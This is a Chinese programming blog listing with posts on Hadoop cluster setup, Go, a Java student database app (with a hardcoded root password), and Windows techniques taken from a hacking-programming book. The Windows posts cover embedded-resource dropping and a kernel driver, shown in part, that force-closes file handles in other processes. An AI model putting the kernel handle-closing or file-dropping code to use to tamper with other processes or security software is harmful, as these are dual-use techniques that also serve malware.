分类

类型:
不限 游戏开发 计算机程序开发 Android开发 网站开发 笔记总结 其他
评分:
不限 10 9 8 7 6 5 4 3 2 1
原创:
不限
年份:
不限 2018 2019

技术文章列表

  • 大数据1、hadoop搭建体验

    一、Linux
    熟练基本命令
    安装操作
    Nat设置

    ps:由于集群需要多个模拟系统所以网卡地址不能一样,为防止本地IP冲突,所以使用Nat虚拟IP地址
    Linux设置好IP地址
    二、Hadoop1.0集群搭建Hadoop源码包下载
    http://mirror.bit.edu.cn/apache/hadoop/common/
    2.1 集群环境
    Master 192.168.xx.10
    Slave1 192.168.xx.11
    Slave2 192.168.xx.12

    2.2 关闭系统防火墙及内核防火墙Master、Slave1、Slave2
    暂时关闭防火墙
    /etc/init.d/iptables stop查看防火墙状态
    iptables -L临时关闭内核防火墙
    setenforce 0永久关闭内核防火墙
    vim /etc/selinux/configSELINUX=disabled查看内核防火墙状态
    getenforce2.3 修改主机名Master
    vim /etc/sysconfig/networkNETWORKING=yesHOSTNAME=masterSlave1
    vim /etc/sysconfig/networkNETWORKING=yesHOSTNAME=slave1Slave2
    vim /etc/sysconfig/networkNETWORKING=yesHOSTNAME=slave22.4 修改IP地址Master、Slave1、Slave2
    vim /etc/sysconfig/network-scripts/ifcfg-eth0DEVICE=eth0HWADDR=00:50:56:89:25:3ETYPE=EthernetUUID=de38a19e-4771-4124-9792-9f4aabf27ec4ONBOOT=yesNM_CONTROLLED=yesBOOTPROTO=staticIPADDR=192.168.xx.10/11/12NETMASK=255.255.255.0GATEWAY=192.168.xx.2DNS1=#本省2.5 修改主机文件Master、Slave1、Slave2
    vim /etc/hosts192.168.xx.10 master192.168.xx.11 slave1192.168.xx.12 slave22.6 SSH互信配置Master、Slave1、Slave2
    生成密钥对(公钥和私钥)
    ssh-keygen -t rsa三次回车

    cat /root/.ssh/id_rsa.pub > /root/.ssh/authorized_keyschmod 600 /root/.ssh/authorized_keys相互追加Key
    Master
    ssh slave1 cat /root/.ssh/id_rsa.pub >> /root/.ssh/authorized_keysssh slave2 cat /root/.ssh/id_rsa.pub >> /root/.ssh/authorized_keysSlave1
    ssh master cat /root/.ssh/authorized_keys > /root/.ssh/authorized_keysSlave2
    ssh master cat /root/.ssh/authorized_keys > /root/.ssh/authorized_keys2.7 安装JDKhttp://www.oracle.com/technetwork/java/javase/downloads/index.html
    Master
    cd /usr/local/srcwget 具体已上面的链接地址为准tar zxvf jdk1.8.0_152.tar.gz2.8 配置JDK环境变量Master、Slave1、Slave2
    vim ~/.bashrcexport JAVA_HOME=/usr/local/src/jdk1.6.0_45export CLASSPATH=.:$CLASSPATH:$JAVA_HOME/libexport PATH=:$PATH:$JAVA_HOME/bin2.9 JDK拷贝到Slave主机Master
    scp -r /usr/local/src/jdk1.8.0_152 root@slave1:/usr/local/src/jdk1.8.0_152scp -r /usr/local/src/jdk1.8.0_152 root@slave2:/usr/local/src/jdk1.8.0_1522.10 下载HadoopMaster
    wget http://mirror.bit.edu.cn/apache/hadoop/common/hadoop-1.2.1/hadoop-1.2.1.tar.gztar zxvf hadoop-1.2.1.tar.gzcd hadoop-1.2.1.tar.gzmkdir tmp2.11 修改Hadoop配置文件Master
    cd confvim mastersmastervim slavesslave1slave2vim core-site.xml
    <configuration><property><name>hadoop.tmp.dir</name><value>/usr/local/src/hadoop-1.2.1/tmp</value></property><property><name>fs.default.name</name><value>hdfs://#masterip:9000</value></property></configuration>vim mapred-site.xml
    <configuration><property><name>mapred.job.tracker</name><value>http://#masterip:9001</value></property></configuration>vim hdfs-site.xml
    <configuration><property><name>dfs.replication</name><value>3</value></property></configuration>vim hadoop-env.shexport JAVA_HOME=/usr/local/src/jdk1.8.0_1522.12 配置环境变量Master、Slave1、Slave2
    vim ~/.bashrcHADOOP_HOME=/usr/local/src/hadoop-1.2.1export PATH=$PATH:$HADOOP_HOME/bin刷新环境变量
    source ~/.bashrc2.13 安装包拷贝到Slave主机Master
    scp -r /usr/local/src/hadoop-1.2.1 root@slave1:/usr/local/src/hadoop-1.2.1scp -r /usr/local/src/hadoop-1.2.1 root@slave2:/usr/local/src/hadoop-1.2.12.14 启动集群Master
    初始化NameNode
    hadoop namenode -format启动Hadoop启动Hadoop集群
    start-all.sh2.15 集群状态jps



    2.16 监控页面NameNode
    http://master:50070/dfshealth.jsp
    SecondaryNameNode
    http://master:50090/status.jsp
    DataNode
    http://slave1:50075/
    http://slave2:50075/
    JobTracker
    http://master:50030/jobtracker.jsp
    TaskTracker
    http://slave1:50060/tasktracker.jsp
    http://slave2:50060/tasktracker.jsp
    2.17 关闭集群stop-all.sh总结一下搭建遇见的坑1.1Linux系统安装时占存大小一定要选好,这个东西思想是集群式,只有在真正HDFS这种分布式存储上才能展现威力,在本地会显得慢一点
    1.2相比于桥接模式直接连接物理网络,NAT模式更加人性化解决IP冲突问题,如果想用NAT模式重新获取到本地IP对应的虚拟IP,需要从虚拟机的虚拟网络编辑器中删除NAT模式的网络并新建一个网络改为NAT模式,就会获取到新的对应IP,并且每台Linux中都需要根据这个nat网关IP从新分配静态IP,可以利用
    curl www.baidu.com测试连接外网,在srt软件中测试时乱码问题需要自己设置下(还可以设置背景和系统哦)
    1.3集群搭建还需要做到master和slave之间无密码连接(ssh互信),而阻挡连接的问题也就是iptables和selinux了,而修改主机名可以方便以后不需要再蛋疼的打IP了可以达到dns的效果
    1.4本地上传和从网上download -jdk和Hadoop包都可以,上传的话虚拟机设置选项里面有一个共享文件夹,设置后可以在/mnt/hgfs中找到然后拷贝到各个机器中(scp/cp)
    1.5Hadoop中的配置文件一共就那么几个,一定要配置好,千万不要打错字母,不然启动集群时某些任务起不来,IP都是master的IP,Hadoop1.0不像2.0一样不显示jobtracker&tasktracker

    千万不要打错字母出错的时候先检查配置文件再说
    1.6环境变量:更方便地在任何目录下使用
    3 留言 2018-11-12 11:35:44 奖励10点积分
  • 32位和64位驱动开发区别概述

    在用户层上,64 位系统为了向下兼容 32 位程序,确保 32 位程序可以正常在 64 位系统上正常运行,于是提供了 WOW64 子系统。WOW64 为现有的 32 位应用程序提供了 32 位的模拟环境,可以使大多数 32 位应用程序在无需修改的情况下运行在 64 位Windows版本上。但是,在内核层下,Windows并没有提供类似WOW64的子系统,所以,64 位内核系统只能运行 64 位的驱动程序。
    无论是用户层还是内核层程序开发,绝大部分程序功能是基于 Windows 提供的API函数接口实现的。尽管各个版本的 Windows 操作系统 API 函数内部的实现方法不尽相同,但 API 函数保持着相同的函数名称、相同的参数以及返回值。这便保证了绝大多数的程序,不需要修改源码,也不用重新编译,即可在不同版本的 Windows 上运行,保证二进制级的兼容性。所以,对于基于 API 函数接口实现的功能代码,无论是 32 位还是 64 位 Windows 系统都是兼容的。在 32 位和 64 位程序开发中,需要额外注意指针长度变化的问题。
    但是,内核层下的 Rootkit 开发与正常的开发有一个很大的不同就是,Rootkit 程序为了躲避杀软的检测,将自己做得更底层,所以就会舍弃调用 Windows 提供的API函数接口,而去调用更底层的、Windows 未公开、未文档化的函数或者结构。由于各个版本的 Windows 内核是不相同的,导致各个版本上的特征码也不相同,所以通过特定码定位地址的方式兼容性很差,需要获取各个系统版本的特征码。
    32 位和 64 位的内核开发也有很大的不同,总的来说,64 位内核增加了两大保护机制,一个是KPP(Kernel Patch Protection)内核补丁保护,另一个是DSE((Driver Signature Enforcement)驱动签名强制。KPP 保护机制利用 Patch Guard 技术来检查内核的关键内存有没有被修改,若保护区域被修改,则会触发蓝屏。其中,Patch Guard 技术保护的内存包括关键的结构体(例如 SSDT 和 GDT 等)以及关键的系统驱动内存(例如ntoskrnl.exe、ndis.sys、hal.dll等)。DSE 保护机制则是拒绝加载不包含正确签名的驱动,要求驱动程序必须正确签名方可加载运行。
    所以,要想在 64 位 Windows 内核下开发稳定运行的驱动程序,就不要触犯上述两大保护机制。当然,有保护机制出现,自然也会有相应的绕过方法。由于绕过方法已经超出了本书《WINDOWS黑客编程技术详解》的内容范围,在此就不进行介绍了。
    参考参考自《Windows黑客编程技术详解》一书
    2 留言 2018-12-07 09:31:59 奖励40点积分
  • 有关go管道,锁和dlv调试的细节分享

    在做流媒体服务时对三处细节印象深刻,特整理记录下来。
    管道中的<-简单来说就是这样子的:接受者<-发送者。
    然而中间会多个管道,所以我借用Go语言圣经中的三处例子做解释
    ch <- x // x作为发送者发送给管道x = <-ch // 管道作为发送者发送数据给接受者x<-ch // 管道发送数据,没有接收者,丢弃,同时造成管道堵塞,等待接收者
    所以我们可以具体化刚才说的发送接收流程,它应该为:接收者 <- 管道 <- 发送者。如果缺了接收者或发送者,都会造成管道堵塞。
    互斥锁举个例子
    import "sync"var (mu sync.Mutex // guards balancebalance int)func Deposit(amount int) { mu.Lock() balance = balance + amount mu.Unlock()}func Balance() int { mu.Lock() b := balance mu.Unlock() return b}
    先Lock锁住,再使用Unlock解锁。
    如果Lock中再套一个Lock,就会造成死锁,需要将前一个Lock解开才行。
    dlv调试流程1,./dlv debug xxxx(程序名) ##启动dlv调试2,r(restart) 3,c(continue)4,b(break) ##打断点,可以打函数名,也可以打文件下对应的行号5,n(next)或s(step) ##n按一次单步执行,后面只需一直按回车;遇到需要深究的函数按s进去查看##如果碰到多线程,建议在线程内打个断点6,bt(stack) ##查看堆栈7,frame ##查看指定堆栈的内容8,q(exit) ##退出调试收获
    接触一个新东西,除了保证理解了流程,还要对每个函数的作用,影响范围都要了然于胸才行;
    流程这东西,光知道不行,最好的办法是自己画个流程图出来,一步步跟着代码走;
    IDE有时会因为环境参数或内在bug而报错,所以推荐使用dlv(针对go)和gdb进行调试;
    多对自己提几个为什么,有助于理解技术的本质;
    心态放平和,坦然接受bug和不足,耐心寻求突破。
    2 留言 2019-04-06 23:59:09 奖励12点积分
  • 编程实现自定义资源释放

    背景用VS2013写一个释放资源的小程序,除了自定义的资源外,还可以释放其他类型的资源,只要是程序里的资源,使用这个小程序,都可以实现。
    这个小功能可以帮助我们把程序变得更简洁,意思是说,如果你的程序额外需要一些DLL文件、文本文件、图片文件或是其它的音视频文件等等,你都可以把它们作为资源插入到程序里,等到程序运行时,再把它们释放到本地上。这样做的好处便是,你编译出来就只有一个EXE文件,而不需要附带其它的文件,所以程序变得就很简洁。你只需把EXE发送给其他人,而不需要连同其他文件一起发送。
    那么,现在把这一程序的实现原理和过程,写成文档,分享给大家。
    插入资源到程序的步骤在讲解程序原理之前,先介绍下在使用VS2013开发程序的过程中,如何插入资源到程序里。
    我们以名为 “520” 的这个文件为例,进行讲解。

    在工程项目中,选择“添加资源(A)…”。

    如果是添加一个现成的资源文件的话,可以选择对应的资源类型。本文演示的是插入自定义资源,所以点击“自定义(C)…”按钮。

    然后,在“新建自定义资源”对话框中,输入“资源类型”,如“MYRES”。然后点击“确定”。

    然后,我们在“添加资源”对话框里,选择刚才我们新建的“MYRES”资源类型,接着点击“导入(M)…”按钮。

    选择我们之前新建的 “520” 这个文件,作为资源添加到程序里。

    然后,为 “520” 选择资源类型 “MYRES”,并点击“确定”。

    这样,自定义资源的添加就完成了。现在,我们开始讲解资源释放的原理和实现。
    主要函数介绍FindResource介绍
    函数声明
    HRSRC FindResource( HMODULE hModule, LPCWSTR lpName,LPCWSTR lpType );
    参数

    hModule:处理包含资源的可执行文件的模块。NULL值则指定模块句柄指向操作系统通常情况下创建最近过程的相关位图文件。lpName:指定资源名称。若想了解更多的信息,请参见注意部分。lpType:指定资源类型。若想了解更多的信息,请参见注意部分。作为标准资源类型。这个参数的含义同EnumResLangProc\lpType。
    返回值

    如果函数运行成功,那么返回值为指向被指定资源信息块的句柄。为了获得这些资源,将这个句柄传递给LoadResource函数。如果函数运行失败,则返回值为NULL。若想获得更多错误信息,请调用GetLastError函数。

    SizeofResource 介绍
    函数声明
    DWORD SizeofResource( HMODULE hModule, // module handle HRSRC hResInfo // resource handle );
    参数

    hModule:包合资源的可执行文件模块的句柄。hReslnfo:资源句柄。此句柄必须由函数FindResource或FindResourceEx来创建。
    返回值

    如果函数运行成功,返回值资源的字节数。如果函数运行失败,返回值为零。若想获得更多的错误信息,请调用GetLastError函数。

    LoadResource 介绍
    函数声明
    HGLOBAL LoadResource( HMODULE hModule, // module handle HRSRC hResInfo // resource handle );
    参数

    hModule:处理包合资源的可执行文件的模块句柄。若hModule为NULL,系统从当前过程中的模块中装载资源。hReslnfo:将被装载资源的句柄。它必须由函数FindResource或FindResourceEx创建。
    返回值

    如果函数运行成功,返回值是相关资源的数据的句柄。如果函数运行失败,返回值为NULL。若想获得更多的错误信息,请调用GetLastError函数。

    LockResource 介绍
    函数声明
    LPVOID LockResource( HGLOBAL hResData // handle to resource );
    参数

    hResDate:被装载的资源的句柄。函数LoadResource可以返回这个句柄。
    返回值

    如果被装载的资源被锁住了,返回值是资源第一个字节的指针;否则为NULL。

    程序实现原理Windows为方便开发人员获取程序里的资源,提供了一系列操作资源的API函数,所以,我们的程序的实现,也是基于这些API的基础上,进行操作的。

    首先,我们先定位到我们程序里的资源,主要是根据“资源类型”和“资源名称”进行定位,获取资源信息块的句柄
    然后,根据上面获取的资源信息块的句柄,把资源加载到我们程序的内存中
    接着,锁定加载到内存中的资源的内存,防止程序的其他操作影响到这块内存
    最后,我们根据资源的内存地址以及资源的大小,将资源数据保存成文件

    这样,经过上述的5个步骤,便可以定位出资源,并释放到本地磁盘上。
    程序实现BOOL FreeMyResource(UINT uiResouceName, char *lpszResourceType, char *lpszSaveFileName){ // 获取指定模块里的指定资源 HRSRC hRsrc = ::FindResource(NULL, MAKEINTRESOURCE(uiResouceName), lpszResourceType); if (NULL == hRsrc) { FreeRes_ShowError("FindResource"); return FALSE; } // 获取资源的大小 DWORD dwSize = ::SizeofResource(NULL, hRsrc); if (0 >= dwSize) { FreeRes_ShowError("SizeofResource"); return FALSE; } // 将资源加载到内存里 HGLOBAL hGlobal = ::LoadResource(NULL, hRsrc); if (NULL == hGlobal) { FreeRes_ShowError("LoadResource"); return FALSE; } // 锁定资源 LPVOID lpVoid = ::LockResource(hGlobal); if (NULL == lpVoid) { FreeRes_ShowError("LockResource"); return FALSE; } // 保存资源为文件 FILE *fp = NULL; fopen_s(&fp, lpszSaveFileName, "wb+"); if (NULL == fp) { FreeRes_ShowError("LockResource"); return FALSE; } fwrite(lpVoid, sizeof(char), dwSize, fp); fclose(fp); return TRUE;}
    程序测试我们创建一个MFC工程项目,按照上述步骤,插入资源,并调用封装好的函数,进行释放资源的测试。
    其中,调用封装好的释放资源函数部分的代码为:
    void CResourceFree_TestDlg::OnBnClickedButtonRelease(){ // TODO: 在此添加控件通知处理程序代码 char szSaveName[MAX_PATH] = "520.txt"; // 释放资源 BOOL bRet = FreeMyResource(IDR_MYRES2, "MYRES", szSaveName); if (FALSE == bRet) { ::MessageBox(NULL, "Free Resource Error!", "ERROR", MB_OK); } else { ::MessageBox(NULL, "Free Resource OK!", "OK", MB_OK); }}
    测试结果:
    当我们点击 “释放” 按钮,释放资源的时候,提示释放成功。

    然后,查看目录,本地生成 “520.txt” 文件,打开文件查看内容,与我们之前插入的 “520” 文件的内容相同。所以,资源释放成功。

    总结这个小程序并不是很复杂,只要弄清楚程序的逻辑关系,然后调用相应的API函数进行操作就可以了。
    参考参考自《Windows黑客编程技术详解》一书
    2 留言 2019-01-20 09:49:52 奖励11点积分
  • 基于myeclipse java+mysql 学生信息系统 实现验证码登录 查询 删除 修改 查看 功能。

    bean类
    package com.student.bean;public class Student { private int id; private String stuno; private String name; private String gender; private int age; public Student(int id,String stuno,String name,String gender,int age){ super(); this.id=id; this.stuno=stuno; this.name=name; this.gender=gender; this.age=age; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getStuno() { return stuno; } public void setStuno(String stuno) { this.stuno = stuno; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getGender() { return gender; } public void setGender(String gender) { this.gender = gender; } public int getAge() { return age; } public void setAge(int age) { this.age = age; }}
    DAO层代码
    package com.student.Dao;import java.sql.Connection;import java.sql.PreparedStatement;import java.sql.ResultSet;import java.sql.SQLException;import java.util.ArrayList;import java.util.List;import com.student.Pool.connPool;import com.student.bean.Student;public class studentDao { public List<Student> queryAll() { List<Student> list = new ArrayList<Student>(); // 1.取得连接对象 Connection conn = connPool.getConn(); PreparedStatement ps = null; ResultSet rs = null; try { ps = conn.prepareStatement("select * from ZC"); // 执行 rs = ps.executeQuery(); while (rs.next()) { list.add(new Student(rs.getInt(1), rs.getString(2), rs .getString(3), rs.getString(4), rs.getInt(5))); } } catch (SQLException e) { e.printStackTrace(); }finally{ connPool.close(rs, ps, conn); } return list; } public void delById(int id){ Connection conn = connPool.getConn(); String sql = "delete from ZC where id=?"; PreparedStatement ps = null; try { ps = conn.prepareStatement(sql); //给参数赋值 ps.setInt(1, id); // 执行 ps.executeUpdate(); } catch (SQLException e) { e.printStackTrace(); }finally{ connPool.close(null, ps, conn); } } public void alterById(int id,String stuno,String name,String gender,int age){ Connection conn = connPool.getConn(); String sql = "update ZC set stuno=?,name=?,gender=?,age=? where id=?"; PreparedStatement ps = null; try { ps = conn.prepareStatement(sql); //给参数赋值 ps.setString(1, stuno); ps.setString(2, name); ps.setString(3, gender); ps.setInt(4, age); ps.setInt(5, id); // 执行 ps.executeUpdate(); } catch (SQLException e) { e.printStackTrace(); }finally{ connPool.close(null, ps, conn); } } public void addstudent(int id,String stuno,String name,String gender,int age){ Connection conn = connPool.getConn(); String sql = "insert into ZC values (?,?,?,?,?)"; PreparedStatement ps = null; try { ps = conn.prepareStatement(sql); //给参数赋值 ps.setInt(1, id); ps.setString(2, stuno); ps.setString(3, name); ps.setString(4, gender); ps.setInt(5, age); // 执行 ps.executeUpdate(); } catch (SQLException e) { e.printStackTrace(); }finally{ connPool.close(null, ps, conn); } } public Student queryById(int id){ String sql = "select * from ZC where id = ?"; Connection conn = null; PreparedStatement ps = null; ResultSet res = null; Student student = null; try { conn = connPool.getConn(); ps =(PreparedStatement) conn.prepareStatement(sql); ps.setInt(1, id); res = ps.executeQuery(); while(res.next()){ student = new Student(res.getInt(1),res.getString(2), res.getString(3), res.getString(4), res.getInt(5)); } } catch (SQLException e) { // TODO Auto-generated catch block e.printStackTrace(); }finally{ try{ if(null!=res){ res.close(); } if(null!=ps){ ps.close(); } if(null!=conn){ conn.close(); } }catch(SQLException e){ e.printStackTrace(); } } return student; } }
    连接类
    package com.student.Pool;import java.sql.Connection;import java.sql.DriverManager;import java.sql.PreparedStatement;import java.sql.ResultSet;import java.sql.SQLException;public class connPool { static Connection con; static String url="jdbc:mysql://localhost:3306/student?useUnicode=true&characterEncoding=utf8&serverTimezone=GMT%2B8&useSSL=false"; static String user="root"; static String password="1196"; static{ //加载驱动 try { Class.forName("com.mysql.cj.jdbc.Driver"); } catch (ClassNotFoundException e) { e.printStackTrace(); } } /* * 获取连接对象 * */ public static Connection getConn(){ Connection conn=null; try{ conn=DriverManager.getConnection(url,user,password); System.out.println("成功连接数据库"); }catch(SQLException e){ e.printStackTrace(); } return conn; } /** * 关闭连接 * @param rs * @param ps * @param conn */ public static void close(ResultSet rs, PreparedStatement ps, Connection conn) { if(rs != null) { try { rs.close(); } catch (SQLException e) { e.printStackTrace(); } } if(ps != null) { try { ps.close(); } catch (SQLException e) { e.printStackTrace(); } } if(conn != null) { try { conn.close(); } catch (SQLException e) { e.printStackTrace(); } } } public static void main(String[] args) { System.out.println(connPool.getConn()); } }
    SERVLET
    package com.student.servlet;import java.io.IOException;import java.util.List;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import com.student.Dao.studentDao;import com.student.bean.Student;public class AddServlet extends HttpServlet { private static final long serialVersionUID = 1L; private studentDao dao = new studentDao(); public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { request.setCharacterEncoding("utf-8"); //获取参数 String idstr=request.getParameter("id"); int id = Integer.parseInt(idstr); String stuno = request.getParameter("stuno"); String name = request.getParameter("name"); String gender = request.getParameter("gender"); String agestr = request.getParameter("age"); int age = Integer.parseInt(agestr); //调用dao方法修改 dao.addstudent(id,stuno,name,gender,age); List<Student> list = dao.queryAll(); request.setAttribute("student", list); //跳转回列表页面 request.getRequestDispatcher("list.jsp").forward(request, response); } public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.doGet(request, response); } public void init() throws ServletException { // Put your code here }}
    登录 jsp代码
    <%@ page language="java" import="java.util.*" pageEncoding="utf-8"%><%String path = request.getContextPath();String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <script type="text/javascript"> function reImg() { var img = document.getElementById("Img"); img.src = "image.jsp?code=" + Math.random(); } </script> <style> #main{ width:100%; height:100%; position:absolute; left:50%; top:50%; margin-left:-150px; margin-top:-100px;} </style><body> </head> <body> <div id="main"> <span style="font-size: 3em">用户登录/LOGIN</span> <br> ----------------------------------------------------------- <div style="color:red;">${errmsg }</div> <form action="UserServlet" method="post"> <table style="padding-left: 1em;"> <tr> <td>用户名:</td> <td><input type=text name=uname /> </td> </tr> <tr> <td>密 码:</td> <td><input type="password" name="upwd" /> </td> </tr> <tr> <td>验证码:</td> <td><input type="text" name="yanzhengma" /><img border=0 id="Img" src="image.jsp" alt="验证码"><a href="#" onclick="reImg();">看不清,请点击刷新</a> </td> </tr> </table> <table style="padding-left: 0.6em"> <tr> <td><input type=radio name=type value=partment>部门 <input type=radio name=type value=teacher>教师 <input type=radio name=type value=student checked>学生 <input type=radio name=type value=guest>访客</td> </tr> <tr> <td> 保存密码时间:<select name="daylength"> <option value="-1">请选择</option> <option value="3">3天</option> <option value="7">7天</option> <option value="30">30天</option> </select> <br><br> <input type="submit" value="登录" /> <input type="reset" value="重置" /> </td> </tr> </table> </form></div> </body></html>
    2 留言 2019-04-05 21:38:22 奖励5点积分
  • ring0解锁文件

    背景当我们要删除一个文件的的时候,有时候会出现“文件被占用”或是“无法删除”的提示框,这往往是由于该文件句柄已经在其它进程中打开未关闭的缘故。
    本文要介绍的是关闭在其它进程中的文件句柄,对文件进行解锁。现在,我把实现过程和原理,整理成文档,分享给大家。
    实现原理要实现对指定文件进行解锁,我们首先要做的就是获取这个文件所有被打开的文件句柄,然后在关闭这些句柄即可。那么接下来,我就对指定文件句柄的遍历以及结束文件句柄的实现原理分别进行解析。
    遍历指定文件句柄
    首先,我们使用 16 号功能调用 ZwQuerySystemInformation 函数,获取系统上所有的句柄数据。其中,ZwQuerySystemInformation 是一个未导出的内核函数,16号功能即 SystemHandleInformation 功能,用来获取系统上的所有句柄信息,根据 SYSTEM_HANDLE_INFORMATION 结构体来获取返回的数据信息。
    然后,遍历系统上每一个句柄并进行判断。
    1> 首先,我们可以从上述 16 号功能中获取到句柄对应进程 ID 的信息,这样,可以先调用 ZwOpenProcess 打开句柄所在的进程;
    2> 然后,调用 ZwDuplicateObject 函数将已打开进程中的文件句柄复制到当前进程 NtCurrentProcess 中;
    3> 接着,使用1 号功能调用 ZwQueryObject 函数获取句柄的类型和名称;
    4> 最后,根据句柄对应的文件名称判断是否是要解锁的文件,若是,则开始对文件进行解锁;若不是,则继续对下一个句柄进行判断。
    最后,释放内存。

    结束指定文件句柄
    首先,我们根据要解锁的文件句柄对应的进程ID,调用内核函数 PsLookupProcessByProcessId 来获取进程结构对象 EPROCESS;
    然后,调用 KeStackAttachProcess 附件到目标进程中;
    接着,调用未导出函数 ObSetHandleAttributes 函数,对文件句柄的属性进行设置,将其文件句柄设置为“可以关闭”;
    接着,调用 ZwClose 函数,关闭文件句柄;
    最后,调用 KeUnstackDetachProcess 结束附加到目标进程。

    编码实现获取并遍历系统上所有句柄// 遍历句柄, 解锁文件BOOLEAN Unlockfile(UNICODE_STRING ustrUnlockFileName){ NTSTATUS status = STATUS_SUCCESS; SYSTEM_HANDLE_INFORMATION tempSysHandleInfo = {0}; PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = NULL; ULONG ulSysHandleInfoSize = 0; ULONG ulReturnLength = 0; ULONGLONG ullSysHandleCount = 0; PSYSTEM_HANDLE_TABLE_ENTRY_INFO pSysHandleTableEntryInfo = NULL; ULONGLONG i = 0; BOOLEAN bRet = FALSE; // 调用ZwQuerySystemInformation的16号功能来枚举系统里的句柄 // 先获取缓冲区大小 ZwQuerySystemInformation(16, &tempSysHandleInfo, sizeof(tempSysHandleInfo), &ulSysHandleInfoSize); if (0 >= ulSysHandleInfoSize) { ShowError("ZwQuerySystemInformation", 0); return FALSE; } DbgPrint("ulSysHandleInfoSize=%d\n", ulSysHandleInfoSize); // 申请缓冲区内存 pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)ExAllocatePool(NonPagedPool, ulSysHandleInfoSize); if (NULL == pSysHandleInfo) { ShowError("ExAllocatePool", 0); return FALSE; } RtlZeroMemory(pSysHandleInfo, ulSysHandleInfoSize); // 获取系统中所有句柄的信息 status = ZwQuerySystemInformation(16, pSysHandleInfo, ulSysHandleInfoSize, &ulReturnLength); if (!NT_SUCCESS(status)) { ExFreePool(pSysHandleInfo); ShowError("ZwQuerySystemInformation", status); return FALSE; } // 获取系统所有句柄数量以及句柄信息数组 ullSysHandleCount = pSysHandleInfo->NumberOfHandles; pSysHandleTableEntryInfo = pSysHandleInfo->Handles; // 开始遍历系统上所有句柄 for (i = 0; i < ullSysHandleCount; i++) { // 获取句柄信息并判断是否是解锁文件句柄 bRet = IsUnlockFileHandle(pSysHandleTableEntryInfo[i], ustrUnlockFileName); if (bRet) { // 关闭文件句柄, 解锁文件 CloseFileHandle(pSysHandleTableEntryInfo[i]); // 显示 DbgPrint("[UnlockFile][%d][%d]\n", pSysHandleTableEntryInfo[i].UniqueProcessId, pSysHandleTableEntryInfo[i].HandleValue); } } // 释放 ExFreePool(pSysHandleInfo);}
    获取句柄信息并判断是否是解锁文件句柄// 获取句柄信息并判断是否是解锁文件句柄BOOLEAN IsUnlockFileHandle(SYSTEM_HANDLE_TABLE_ENTRY_INFO sysHandleTableEntryInfo, UNICODE_STRING ustrUnlockFileName){ NTSTATUS status = STATUS_SUCCESS; CLIENT_ID clientId = { 0 }; OBJECT_ATTRIBUTES objectAttributes = { 0 }; HANDLE hSourceProcess = NULL; HANDLE hDupObj = NULL; POBJECT_NAME_INFORMATION pObjNameInfo = NULL; ULONG ulObjNameInfoSize = 0; BOOLEAN bRet = FALSE; WCHAR wszSrcFile[FILE_PATH_MAX_NUM] = { 0 }; WCHAR wszDestFile[FILE_PATH_MAX_NUM] = { 0 }; // 根据句柄对应的PID打开进程获取句柄对应的进程句柄 do { InitializeObjectAttributes(&objectAttributes, NULL, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); RtlZeroMemory(&clientId, sizeof(clientId)); clientId.UniqueProcess = sysHandleTableEntryInfo.UniqueProcessId; status = ZwOpenProcess(&hSourceProcess, PROCESS_ALL_ACCESS, &objectAttributes, &clientId); if (!NT_SUCCESS(status)) { ShowError("ZwOpenProcess", status); break; } // 将已打开进程中的文件句柄复制到当前进程 NtCurrentProcess 中 status = ZwDuplicateObject(hSourceProcess, sysHandleTableEntryInfo.HandleValue, NtCurrentProcess(), &hDupObj, PROCESS_ALL_ACCESS, 0, DUPLICATE_SAME_ACCESS); if (!NT_SUCCESS(status)) { ShowError("ZwDuplicateObject", status); break; } // 查询句柄的名称信息 // 先获取缓冲区大小 ZwQueryObject(hDupObj, 1, NULL, 0, &ulObjNameInfoSize); if (0 >= ulObjNameInfoSize) { ShowError("ZwQueryObject", 0); break; } // 申请缓冲区内存 pObjNameInfo = ExAllocatePool(NonPagedPool, ulObjNameInfoSize); if (NULL == pObjNameInfo) { ShowError("ExAllocatePool", 0); break; } RtlZeroMemory(pObjNameInfo, ulObjNameInfoSize); // 获取句柄名称类型信息 status = ZwQueryObject(hDupObj, 1, pObjNameInfo, ulObjNameInfoSize, &ulObjNameInfoSize); if (!NT_SUCCESS(status)) { ShowError("ZwQueryObject", 0); break; } // 判断是否要解锁的文件 DbgPrint("[File]%wZ\n", &pObjNameInfo->Name); RtlZeroMemory(wszSrcFile, FILE_PATH_MAX_NUM*sizeof(WCHAR)); RtlZeroMemory(wszDestFile, FILE_PATH_MAX_NUM*sizeof(WCHAR)); RtlCopyMemory(wszSrcFile, pObjNameInfo->Name.Buffer, pObjNameInfo->Name.Length); RtlCopyMemory(wszDestFile, ustrUnlockFileName.Buffer, ustrUnlockFileName.Length); if (NULL != wcsstr(wszSrcFile, wszDestFile)) { bRet = TRUE; break; } } while (FALSE); // 释放 if (NULL != pObjNameInfo) { ExFreePool(pObjNameInfo); } if (NULL != hDupObj) { ZwClose(hDupObj); } if (NULL != hSourceProcess) { ZwClose(hSourceProcess); } return bRet;}
    关闭文件句柄// 关闭文件句柄, 解锁文件BOOLEAN CloseFileHandle(SYSTEM_HANDLE_TABLE_ENTRY_INFO sysHandleTableEntryInfo){ NTSTATUS status = STATUS_SUCCESS; PEPROCESS pEProcess = NULL; HANDLE hFileHandle = NULL; KAPC_STATE apcState = { 0 }; OBJECT_HANDLE_FLAG_INFORMATION objectHandleFlagInfo = { 0 }; // 获取文件句柄 hFileHandle = sysHandleTableEntryInfo.HandleValue; // 获取文件句柄对应的进程结构对象EPROCESS status = PsLookupProcessByProcessId(sysHandleTableEntryInfo.UniqueProcessId, &pEProcess); if (!NT_SUCCESS(status)) { ShowError("PsLookupProcessByProcessId", status); return FALSE; } // 附加到文件句柄对应的进程空间 KeStackAttachProcess(pEProcess, &apcState); // 将文件句柄的属性设置为“可以关闭” objectHandleFlagInfo.Inherit = 0; objectHandleFlagInfo.ProtectFromClose = 0; ObSetHandleAttributes((HANDLE)hFileHandle, 